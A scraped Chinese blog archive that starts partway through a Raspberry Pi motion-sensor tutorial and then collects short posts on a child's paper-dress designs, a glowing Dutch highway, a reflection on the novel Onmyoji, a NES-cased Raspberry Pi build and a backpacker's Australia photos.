有许多方式可以连接到你的树莓派上。也许最简单的方式是使用SSH(见[第六课](http://www.geekfan.net/9128/ "Adafruit的树莓派教程第六课:使用SSH"))并使用下面的命令打开一个编辑器: nano switches.py ..然后把代码粘贴进去,按Ctrl+X保存。 [![lesson12_10](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eb5e755a46_7e24201b71545ef2a2c3b435cf1ef8b7.png)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/eb5e755a46_7e24201b71545ef2a2c3b435cf1ef8b7.png "Adafruit的树莓派教程第十二课:感知运动") 在开始运行程序之前,把磁铁靠近开关并且在PIR传感器上盖上一些东西。 然后使用下面的命令运行程序: sudo python switches.py ..然后你可以看到终端有输出了,当你移走磁铁,或者把盖在PIR传感器上的东西拿开。 一个好的方式或许是把你的孩子放在PIR传感器前面,看他们能坚持多久!(译者:这主意简直棒(sang)极(xin)了(bing)啊(kuang)) [Adafruit的树莓派教程第十二课:感知运动](http://www.geekfan.net/11376/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 才华横溢——这个女孩子,长大还得了? Date: 2014-10-29 URL: https://blog.wo.ai/archives/808 Categories: Uncategorized [![640\(1\)](http://www.geekfan.net/wp-content/uploads/012d9fe15b2493f21902cd55603382ec.jpg)](http://www.geekfan.net/wp-content/uploads/012d9fe15b2493f21902cd55603382ec.jpg "才华横溢——这个女孩子,长大还得了?") [![640](http://www.geekfan.net/wp-content/uploads/4ffce04d92a4d6cb21c1494cdfcd6dc1.jpg)](http://www.geekfan.net/wp-content/uploads/4ffce04d92a4d6cb21c1494cdfcd6dc1.jpg "才华横溢——这个女孩子,长大还得了?") 这些衣服真的是这位才华横溢火到爆棚的小女孩儿自己做的吗?没错,就是她! [![640\(1\)](http://www.geekfan.net/wp-content/uploads/012d9fe15b2493f21902cd55603382ec1.jpg)](http://www.geekfan.net/wp-content/uploads/012d9fe15b2493f21902cd55603382ec1.jpg "才华横溢——这个女孩子,长大还得了?") 凭着剪刀,纸片,胶水就能拼出T台同款的小小设计师Mayhem!想知道她平日里是如何创作的吗?想知道这些paper dresses做好之后去向何方吗?就让Mayhem的妈妈为我们揭秘这一切吧! [![640\(3\)](http://www.geekfan.net/wp-content/uploads/eae15aabaa768ae4a5993a8a4f4fa6e4.jpg)](http://www.geekfan.net/wp-content/uploads/eae15aabaa768ae4a5993a8a4f4fa6e4.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(2\)](http://www.geekfan.net/wp-content/uploads/72c25197b6a491816d9a84b42d7205f0.jpg)](http://www.geekfan.net/wp-content/uploads/72c25197b6a491816d9a84b42d7205f0.jpg "才华横溢——这个女孩子,长大还得了?") 四岁的Mayhem拥有纯真甜美的笑容和无与伦比的创造力!自家的客厅窗前就是她一个人的超级秀场! 可是,你知道吗,小姑娘设计的衣服大都是用图画纸,卫生纸,礼品袋,胶带或胶水拼贴制成的。 [![640\(4\)](http://www.geekfan.net/wp-content/uploads/d994e3728ba5e28defb88a3289cd7ee8.jpg)](http://www.geekfan.net/wp-content/uploads/d994e3728ba5e28defb88a3289cd7ee8.jpg "才华横溢——这个女孩子,长大还得了?") 有时她也会和妈妈在家里就地取材,比如找来些丝巾,旧桌布,透气胶带,薄纱,铝箔等…… [![640\(5\)](http://www.geekfan.net/wp-content/uploads/b58f7d184743106a8a66028b7a28937c.jpg)](http://www.geekfan.net/wp-content/uploads/b58f7d184743106a8a66028b7a28937c.jpg "才华横溢——这个女孩子,长大还得了?") 从一开始,Mayhem的妈妈就立下规矩,所有做衣服的材料,除了胶带和胶水定期购买,其余都要利用家里现有的资源,不能额外花掉一分钱! [![640\(6\)](http://www.geekfan.net/wp-content/uploads/99cad265a1768cc2dd013f0e740300ae.jpg)](http://www.geekfan.net/wp-content/uploads/99cad265a1768cc2dd013f0e740300ae.jpg "才华横溢——这个女孩子,长大还得了?") 当然,在圣诞节和过生日的时候,妈妈也会买上几大箱图画纸和包装带作为礼物送给女儿,以供她创作所用。 [![640\(7\)](http://www.geekfan.net/wp-content/uploads/90365351ccc7437a1309dc64e4db32a3.jpg)](http://www.geekfan.net/wp-content/uploads/90365351ccc7437a1309dc64e4db32a3.jpg "才华横溢——这个女孩子,长大还得了?") 为了激励女儿的创作热情,如今,Mayhem妈妈已经在家里为她创建了一个小小的“design studio”,墙上粘贴着Mayhem的得意作品。 [![640\(8\)](http://www.geekfan.net/wp-content/uploads/828b1eb30921659e22e53a9edc92c4c4.jpg)](http://www.geekfan.net/wp-content/uploads/828b1eb30921659e22e53a9edc92c4c4.jpg "才华横溢——这个女孩子,长大还得了?") 很多人好奇,Mayhem的妈妈本人是否就是一位服装设计师或是裁缝?对此,Mayhem妈妈笑称自己从前毫无设计天赋,甚至在缝纫机上连条直线都跑不出来! [![640\(9\)](http://www.geekfan.net/wp-content/uploads/0b7a9d54deeb611edc4540d286e9a042.jpg)](http://www.geekfan.net/wp-content/uploads/0b7a9d54deeb611edc4540d286e9a042.jpg "才华横溢——这个女孩子,长大还得了?") 通常,一件衣服由Mayhem设计好之后,妈妈会帮忙一起粘贴起来,有时需要半个小时或一个钟头,有时则要花上三四个钟头,毕竟,对于一个专注力时间有限的四岁孩子来说,独立完成整件作品还是相当有难度的。 [![640\(10\)](http://www.geekfan.net/wp-content/uploads/9050b680935e31aa1e5d17c291741c0d.jpg)](http://www.geekfan.net/wp-content/uploads/9050b680935e31aa1e5d17c291741c0d.jpg "才华横溢——这个女孩子,长大还得了?") 当然,有时,Mayhem也会从头到尾一个人独立完成一件作品。 [![640\(11\)](http://www.geekfan.net/wp-content/uploads/1d5a8f3fc1cd6456ce1ff397a430363f.jpg)](http://www.geekfan.net/wp-content/uploads/1d5a8f3fc1cd6456ce1ff397a430363f.jpg "才华横溢——这个女孩子,长大还得了?") 早期创作的时候,Mayhem会穿着做好的纸衣服不舍得脱下来……后来,时间久了,Mayhem对设计本身的兴趣大大超过试穿的兴趣了。 [![640\(12\)](http://www.geekfan.net/wp-content/uploads/9edf25a35776f30dd0df3d2d3d3c0d4f.jpg)](http://www.geekfan.net/wp-content/uploads/9edf25a35776f30dd0df3d2d3d3c0d4f.jpg "才华横溢——这个女孩子,长大还得了?") 也常有人好奇,Mayhem的妈妈怎么会如此耐心帮助女儿完成这么多纸衣服?对此,妈妈说她其实只是单纯的想每天都跟女儿在一起,看着她学习和成长。 [![640\(13\)](http://www.geekfan.net/wp-content/uploads/6f484bd6048a732e74218496776f3107.jpg)](http://www.geekfan.net/wp-content/uploads/6f484bd6048a732e74218496776f3107.jpg "才华横溢——这个女孩子,长大还得了?") 小小Mayhem的身上蕴藏着无限的创造力和天马行空的想象力,妈妈希望她能一直这样保持下去,不受任何成见的束缚。 [![640\(14\)](http://www.geekfan.net/wp-content/uploads/a09b41aaac44669743f9ccb7a493c5a9.jpg)](http://www.geekfan.net/wp-content/uploads/a09b41aaac44669743f9ccb7a493c5a9.jpg "才华横溢——这个女孩子,长大还得了?") 妈妈说,Mayhem的求知欲很强,每天都在学习新东西,新点子层出不穷,她甚至知道自己的胸部和臀部各需要多少纸量,然后自己剪裁粘贴。 [![640\(15\)](http://www.geekfan.net/wp-content/uploads/fa5f2062c449c8f1c9ad8af9125387f9.jpg)](http://www.geekfan.net/wp-content/uploads/fa5f2062c449c8f1c9ad8af9125387f9.jpg "才华横溢——这个女孩子,长大还得了?") 当问及是否会让Mayhem在未来当一个专业的服装设计师?妈妈说她也不确定,只是希望Mayhem能实践自己的兴趣并从中得到成就感,这才是最最重要的。 如今,Mayhem妈妈已经为她和女儿创立了属于她们自己的独立网站www.fashionbymayhem.com,不定期地把小姑娘的设计新作po在上面,还有一些她们生活中的点滴趣事。对这对母女感兴趣的朋友不妨去看一看! [![640\(16\)](http://www.geekfan.net/wp-content/uploads/c7a604e149249f92e1ac733f87f19d22.jpg)](http://www.geekfan.net/wp-content/uploads/c7a604e149249f92e1ac733f87f19d22.jpg "才华横溢——这个女孩子,长大还得了?") 据妈妈讲述,其实,大部分时候,每当一件新作品大功告成,Mayhem至多穿着它五到十分钟,拍拍照片就脱下了,然后就开始拆除衣服上的胶带,把衣服分解掉,再把每一小片还能用得上的纸张放回盒子里,重复使用,直到它们小到再也没法用了,再一起送到社区的回收中心。 [![640\(26\)](http://www.geekfan.net/wp-content/uploads/bbcb0a179f5728cd615974a511d38bd4.jpg)](http://www.geekfan.net/wp-content/uploads/bbcb0a179f5728cd615974a511d38bd4.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(24\)](http://www.geekfan.net/wp-content/uploads/350e66193d449030fa9f25844b37986d.jpg)](http://www.geekfan.net/wp-content/uploads/350e66193d449030fa9f25844b37986d.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(25\)](http://www.geekfan.net/wp-content/uploads/dd94289cbed5fed884742ac2562ee69f.jpg)](http://www.geekfan.net/wp-content/uploads/dd94289cbed5fed884742ac2562ee69f.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(22\)](http://www.geekfan.net/wp-content/uploads/05324c999bcca8e70d6818ebb7b76dec.jpg)](http://www.geekfan.net/wp-content/uploads/05324c999bcca8e70d6818ebb7b76dec.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(23\)](http://www.geekfan.net/wp-content/uploads/dec7cef08936713b8ef6dd77449d67ec.jpg)](http://www.geekfan.net/wp-content/uploads/dec7cef08936713b8ef6dd77449d67ec.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(19\)](http://www.geekfan.net/wp-content/uploads/1854878c9953ed65c26b5f12760fed2c.jpg)](http://www.geekfan.net/wp-content/uploads/1854878c9953ed65c26b5f12760fed2c.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(20\)](http://www.geekfan.net/wp-content/uploads/dbad2066681ee9062972ae33e0be6d7d.jpg)](http://www.geekfan.net/wp-content/uploads/dbad2066681ee9062972ae33e0be6d7d.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(21\)](http://www.geekfan.net/wp-content/uploads/6a1249dfc7679f6c64c937d9c8432874.jpg)](http://www.geekfan.net/wp-content/uploads/6a1249dfc7679f6c64c937d9c8432874.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(18\)](http://www.geekfan.net/wp-content/uploads/48ba5e4a8f9001ffaa6f5029df13185d.jpg)](http://www.geekfan.net/wp-content/uploads/48ba5e4a8f9001ffaa6f5029df13185d.jpg "才华横溢——这个女孩子,长大还得了?") [![640\(17\)](http://www.geekfan.net/wp-content/uploads/e9c0a503cb00c2ad8b891e97bd6f20a3.jpg)](http://www.geekfan.net/wp-content/uploads/e9c0a503cb00c2ad8b891e97bd6f20a3.jpg "才华横溢——这个女孩子,长大还得了?") [才华横溢——这个女孩子,长大还得了?](http://www.geekfan.net/12786/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 在童话里穿行,全球首条发光公路投入使用 Date: 2014-10-24 URL: https://blog.wo.ai/archives/806 Categories: Uncategorized [![149](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b60d6379c0_f2217062e9a397a1dca429e7d70bc6ca.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b60d6379c0_f2217062e9a397a1dca429e7d70bc6ca.jpg "在童话里穿行,全球首条发光公路投入使用") 漫漫黑夜驾车在高速路上行驶,两侧的路标发出迷人的光为你指引方向。这种画面会不会很奇妙? 仿佛在童话里穿行。 荷兰 Oss N329 公路就能带给我们这样神奇的体验。在道路的油漆标记中加入了荧光涂料,从而实现发光效果。这些涂料利用白天的光照“充电”,晚上就能持续发出 10 小时的光亮。如此一来,便可让司机更清晰地判断道路位置,提升驾车安全。 [![75](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/71278bb73b_d09bf41544a3365a46c9077ebb5e35c3.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/71278bb73b_d09bf41544a3365a46c9077ebb5e35c3.jpg "在童话里穿行,全球首条发光公路投入使用") [![242](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/383444b431_e4a6222cdb5b34375400904f03d8e6a5.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/383444b431_e4a6222cdb5b34375400904f03d8e6a5.jpg "在童话里穿行,全球首条发光公路投入使用") 发光公路是设计公司 Studio Roosegaarde 旗下 [Smart Highway](http://www.smarthighway.net/) 项目的一部分,近日正式试点开放。其实早在 2012 年,该公司便提出了 Smart Highway 的想法, 该项目旨在使用不同的技术,来打造“互动、可持续的道路”。 [![328](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9331f9d4cc_cd00692c3bfe59267d5ecfac5310286c1.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9331f9d4cc_cd00692c3bfe59267d5ecfac5310286c1.jpg "在童话里穿行,全球首条发光公路投入使用") [![422](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad55373e24_f85454e8279be180185cac7d243c5eb3.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ad55373e24_f85454e8279be180185cac7d243c5eb3.jpg "在童话里穿行,全球首条发光公路投入使用") 发光公路在研发中经过了多次修改,后续又进行了耐用性和用户体验方面的测试。而在 Oss N329 公路试点,则是为了考察发光公路在现实生活中长期应对车流时运转得如何。 [![65](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f66fa383cd_fc490ca45c00b1249bbe3554a4fdf6fb.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/f66fa383cd_fc490ca45c00b1249bbe3554a4fdf6fb.jpg "在童话里穿行,全球首条发光公路投入使用") [![57](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b3c293c834_72b32a1f754ba1c09b3695e0cb6cde7f.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b3c293c834_72b32a1f754ba1c09b3695e0cb6cde7f.jpg "在童话里穿行,全球首条发光公路投入使用") 未来 Studio Roosegaarde 还将赋予发光公路更多更酷的功能。比如天气特性,即在道路标记中加入随温度变化而变色的涂料,当温度降到某一程度时,雪花路标就会出现,以此来告知驾驶员路面可能出现结冰。而等到温度升高时,这些雪花路标就会消失。 [![1116](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/71359a02c7_dd77279f7d325eec933f05b1672f6a1f.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/71359a02c7_dd77279f7d325eec933f05b1672f6a1f.jpg "在童话里穿行,全球首条发光公路投入使用") 比如,发光公路未来能够检测车辆位置,仅在车辆附近及前方发光,以此降低能耗。又或者,发光公路还能给行进的电动车充电。这些都是 Studio Roosegaarde 努力的方向。 [![442](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/dc4910c765_c203d8a151612acf12457e4d67635a95.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/dc4910c765_c203d8a151612acf12457e4d67635a95.jpg "在童话里穿行,全球首条发光公路投入使用") [![bb1](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/da32439f38_8a2e0a5eece6b7020e5308bcd0df4aa3.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/da32439f38_8a2e0a5eece6b7020e5308bcd0df4aa3.jpg "在童话里穿行,全球首条发光公路投入使用") Studio Roosegaarde 创始人 Daan Roosegaarde 曾谈及发光公路的灵感来源: > 这个创意的萌发来源于海底世界。我们为了获取光耗费着巨大的能源,铺设了大量的设备,然而我们为什么不能看一看水母是怎么发光的呢? 假如试点成功,那么发光公路则有望推广到全球其他地方。 [在童话里穿行,全球首条发光公路投入使用](http://www.geekfan.net/12701/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 德子之怨 Date: 2014-10-23 URL: https://blog.wo.ai/archives/800 Categories: Life, Poem & Reading 昔日殷殷语 听声不见人 伊人来无踪 伊人去无痕 《阴阳师》这本书断断续续在kindle上看了两年多,可能因为是盗版或者翻译的也不怎么样。最终是以博雅和德子的故事结尾。 十二年前,二人因乐而识,互相仰慕,但博雅没有表达出自己当时的仰慕之心,错过了这段姻缘。德子却遭济时设计家境败落,委身于济时。之后济时又钟情于绫子,还将德子传家的琵琶送给绫子。德子疯癫变鬼找济时报仇,最后时刻听到博雅琵琶声清醒放弃逃回荒废的故居,想自杀后再找济时报仇,在博雅的表白中时而清醒时而混沌,在博雅的笛声唤醒,最终在笛声中离世。 从那时起,只要博雅夜晚独自吹起笛子,仍然是生成模样的德子就会显出身来,手抱琵琶,无言倾听笛子的清音,有时她也会应和着博雅的笛声弹起琵琶。她悠忽现出身影,须臾又消失不见。现身是“生成”模样的鬼脸,听完恢复伊人的容颜。 “为什么十二年前你不跟我说这些话呢?” ”那时,我还以为,时光会永远不变……” “……” ”我为你吹起笛子,你在那里聆听……我以为这一切会永远延续下去……” ”无论怎样的时刻,都不会永远延续的。” ”连人的生命也是一样” --- ## 当树莓派遇到NES Date: 2014-10-20 URL: https://blog.wo.ai/archives/807 Categories: Uncategorized [![JzQjxVL](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/209a464f1b_ba0f9d43ffb07f405236225afe6aabff.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/209a464f1b_ba0f9d43ffb07f405236225afe6aabff.jpg "当树莓派遇到NES") NES Pi已经完成了!我希望它和当初看起来一模一样。 [![iIyunws](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/008ce016d4_2fb9cd3b09c92a31adf903fc7b24c2c6.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/008ce016d4_2fb9cd3b09c92a31adf903fc7b24c2c6.jpg "当树莓派遇到NES")它的内部主要是树莓派B板和电源电路。 [![pTEMfmd](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4acddfc0a1_314d64030b2f9fdf0e7721c894705237.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4acddfc0a1_314d64030b2f9fdf0e7721c894705237.jpg "当树莓派遇到NES") [![rPYyA9g](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3fdb4d59ce_3109500ae3b4211fe8bab03147c80b42.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3fdb4d59ce_3109500ae3b4211fe8bab03147c80b42.jpg "当树莓派遇到NES") [![SlUdwjH](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ec1361c374_2b557b6151fbe35a19838933238332d8.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ec1361c374_2b557b6151fbe35a19838933238332d8.jpg "当树莓派遇到NES") 外部的DHMI和micro USB接口。 [![0H3o3M1](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9c43ec7c96_f0e03e4b9b6007c8e5ca50ef2bef8ea2.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/9c43ec7c96_f0e03e4b9b6007c8e5ca50ef2bef8ea2.jpg "当树莓派遇到NES") 电源电路细节。 [![qr8Jdur](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0616dd23f7_89925877eb010c2cb20703e6666e5e1f.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0616dd23f7_89925877eb010c2cb20703e6666e5e1f.jpg "当树莓派遇到NES") 在Amazon上买的很便宜的USB hub,主要用来连接游戏手柄。 [![Sn7uKN4](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e1ff047502_cf1977fea13c915e85cdcb7e024f3faf.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/e1ff047502_cf1977fea13c915e85cdcb7e024f3faf.jpg "当树莓派遇到NES") 电源LED灯。 [![WD3zHCF](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2cead28b74_178d5cb14c3b96130ccda05de2110835.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2cead28b74_178d5cb14c3b96130ccda05de2110835.jpg "当树莓派遇到NES") USB插槽,用来连接控制手柄。 [![aJU6Nph](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/90c2ad72ea_f4ac7b6fc11fc3aa20526295afe51f26.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/90c2ad72ea_f4ac7b6fc11fc3aa20526295afe51f26.jpg "当树莓派遇到NES") 还是Amazon上买的NES游戏手柄。 [![MYNkm6t](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/648992b3bd_7bbb38878c5a6ac6a9eefb0d17886566.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/648992b3bd_7bbb38878c5a6ac6a9eefb0d17886566.jpg "当树莓派遇到NES") 运行RetroPie。 [![4ho40XU](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ca9a1b4fd7_f47b5da1652a4a8d3bcc0fbffdeb99b6.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ca9a1b4fd7_f47b5da1652a4a8d3bcc0fbffdeb99b6.jpg "当树莓派遇到NES") 里面是游戏模拟器。 [![mQhwa5x](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/091e2011bd_ac1224c85e0e98dffad97164771e9f71.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/091e2011bd_ac1224c85e0e98dffad97164771e9f71.jpg "当树莓派遇到NES")[![qjQA6eq](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/40e728e10f_3f46e727d1a2f56826b7e7c6369f0485.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/40e728e10f_3f46e727d1a2f56826b7e7c6369f0485.jpg "当树莓派遇到NES") NES游戏列表。 [![WEy4UQ5](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1276d9e525_388255729ac28570a24df9a04f3a741d.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1276d9e525_388255729ac28570a24df9a04f3a741d.jpg "当树莓派遇到NES") 让我们一起尽情的玩耍吧! [当树莓派遇到NES](http://www.geekfan.net/12519/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 走了40000千米 他带回了这些惊人的照片 Date: 2014-10-17 URL: https://blog.wo.ai/archives/799 Categories: Uncategorized 他是来自比利时的一位背包客,他自称“环球探险家”,他历时一年周游澳大利亚,走过了40000千米的路程,用镜头记录下了无数令人窒息的澳洲美景,他的名字叫Johan Lolos。 在澳大利亚的一年,Lolos去了无数个地方,看到了无数美景。他看到过全澳最美的日出、日落和星空,亲临过全澳洲落差最大的瀑布,甚至还有幸拍到了澳洲海滩海龟产子画面…… Lolos刚刚抵达澳洲时,他的Instagram仅有500粉丝,而仅仅一周后,她的粉丝数就达到了26,000,他们都是被Lolos所拍摄的精彩图片所吸引而来。 看完这些照片,你是否想立刻搭上一架飞机来一次说走就走的旅行呢? [![s_4518b36ffe25454791bbba6c9579bb95](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/704172952c_660f75fe44c0e922f25111166c3b224b.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/704172952c_660f75fe44c0e922f25111166c3b224b.jpg "走了40000千米 他带回了这些惊人的照片") [![s_19cf243751d8495d82f2da011677d441](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5624b63a46_33653cf0cb027a4e52ae61ce0054999e.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5624b63a46_33653cf0cb027a4e52ae61ce0054999e.jpg "走了40000千米 他带回了这些惊人的照片") [![s_e0c6f94ce2a947b2a5671e43bc9649a6](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b3141b0a9a_90d90649770d69ed7e85b7d3978b81b7.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b3141b0a9a_90d90649770d69ed7e85b7d3978b81b7.jpg "走了40000千米 他带回了这些惊人的照片") [![s_c8e4131d30774e8aa258e159e88e5d4c](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/01c1ae9994_ede8075791950cbc54c0cd0b97a6984d.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/01c1ae9994_ede8075791950cbc54c0cd0b97a6984d.jpg "走了40000千米 他带回了这些惊人的照片") [![s_05641b1ad92f4c03885d6532786752c0](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/01253bbfd8_a065f6fb0087f91b03f6a351bee03c58.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/01253bbfd8_a065f6fb0087f91b03f6a351bee03c58.jpg "走了40000千米 他带回了这些惊人的照片") [![s_62e1d7475a96413281c7894a3f2de587](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2076265e01_661be5d02a62fe0a944594485a29c809.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/2076265e01_661be5d02a62fe0a944594485a29c809.jpg "走了40000千米 他带回了这些惊人的照片") [![s_7a2691c7e4d84045920feee3602b3046](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/03e1fbf88a_d6c7f92e014c544120778c5573cf4131.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/03e1fbf88a_d6c7f92e014c544120778c5573cf4131.jpg "走了40000千米 他带回了这些惊人的照片") [![s_49b870e07fc34a9c9da63de67b2faa1b](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1c2d1ce5e4_dbb685024c69e55ecb70763bcafd5eef.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1c2d1ce5e4_dbb685024c69e55ecb70763bcafd5eef.jpg "走了40000千米 他带回了这些惊人的照片") [![s_0f4ee0c7d7984db4a36ca8f83cb37456](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/542fd73a0e_2d1bace56da9ec7d5d94e00bd5292db2.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/542fd73a0e_2d1bace56da9ec7d5d94e00bd5292db2.jpg "走了40000千米 他带回了这些惊人的照片") [![s_d9d51a4469a243499eebbd557b4b2a23](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0593dde0a7_2a524c824c1d20dfd39105248c06ad9e.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0593dde0a7_2a524c824c1d20dfd39105248c06ad9e.jpg "走了40000千米 他带回了这些惊人的照片") [![s_09acf3e186654fc38dcca5db0623b0bd](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cfc8b1051f_e4ddb54ea0f557219afae679b976ae4b.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cfc8b1051f_e4ddb54ea0f557219afae679b976ae4b.jpg "走了40000千米 他带回了这些惊人的照片") [![s_8707047791c14746be814e0715befb7d](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c75e438250_38713bc472f869575eff4c57f878f510.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/c75e438250_38713bc472f869575eff4c57f878f510.jpg "走了40000千米 他带回了这些惊人的照片") [![s_9081477fe6d94fde927f0b24e51a08c7](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/02106c3f68_d5d15ec00488d2b791a208b7869d2746.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/02106c3f68_d5d15ec00488d2b791a208b7869d2746.jpg "走了40000千米 他带回了这些惊人的照片") [![s_a234a5771e534055969d11fa9764b117](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cfeef9a260_663db7b8d0a84811873b591bb92522db.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cfeef9a260_663db7b8d0a84811873b591bb92522db.jpg "走了40000千米 他带回了这些惊人的照片") [![s_6c859e268b464f0a80f47925584ffc86](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/75827a6410_068d40e73ace43b1774d0994f0fae543.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/75827a6410_068d40e73ace43b1774d0994f0fae543.jpg "走了40000千米 他带回了这些惊人的照片") [![s_ef3b953a03dc47dd8741fbed1da15e62](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7f5c8f8bf0_ca949f7ad5ebf5d29e74f9168ecd756c.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7f5c8f8bf0_ca949f7ad5ebf5d29e74f9168ecd756c.jpg "走了40000千米 他带回了这些惊人的照片") [![s_de6ff00d55dc4f5a806ec7726804299f](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/844dac864f_1d0f50005a33597c07d506e86c4629de.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/844dac864f_1d0f50005a33597c07d506e86c4629de.jpg "走了40000千米 他带回了这些惊人的照片") [![s_1af3416f3de749709c8347efbfdbaba4](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d887c5437_95e0766857f7bae306f9e8e145961318.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/4d887c5437_95e0766857f7bae306f9e8e145961318.jpg "走了40000千米 他带回了这些惊人的照片") [![s_3ed6c1f45c094ce5aad2b5a7655ccfc3](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ca5b419da5_b18eaa5ca05dc9cd65c42302b01da1d4.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ca5b419da5_b18eaa5ca05dc9cd65c42302b01da1d4.jpg "走了40000千米 他带回了这些惊人的照片") [![s_bc8380c013e9457a8af25213ea42b818](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/749ee90b42_a234536128d11f1c612da14bf51ce3af.jpg)](https://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/749ee90b42_a234536128d11f1c612da14bf51ce3af.jpg "走了40000千米 他带回了这些惊人的照片") 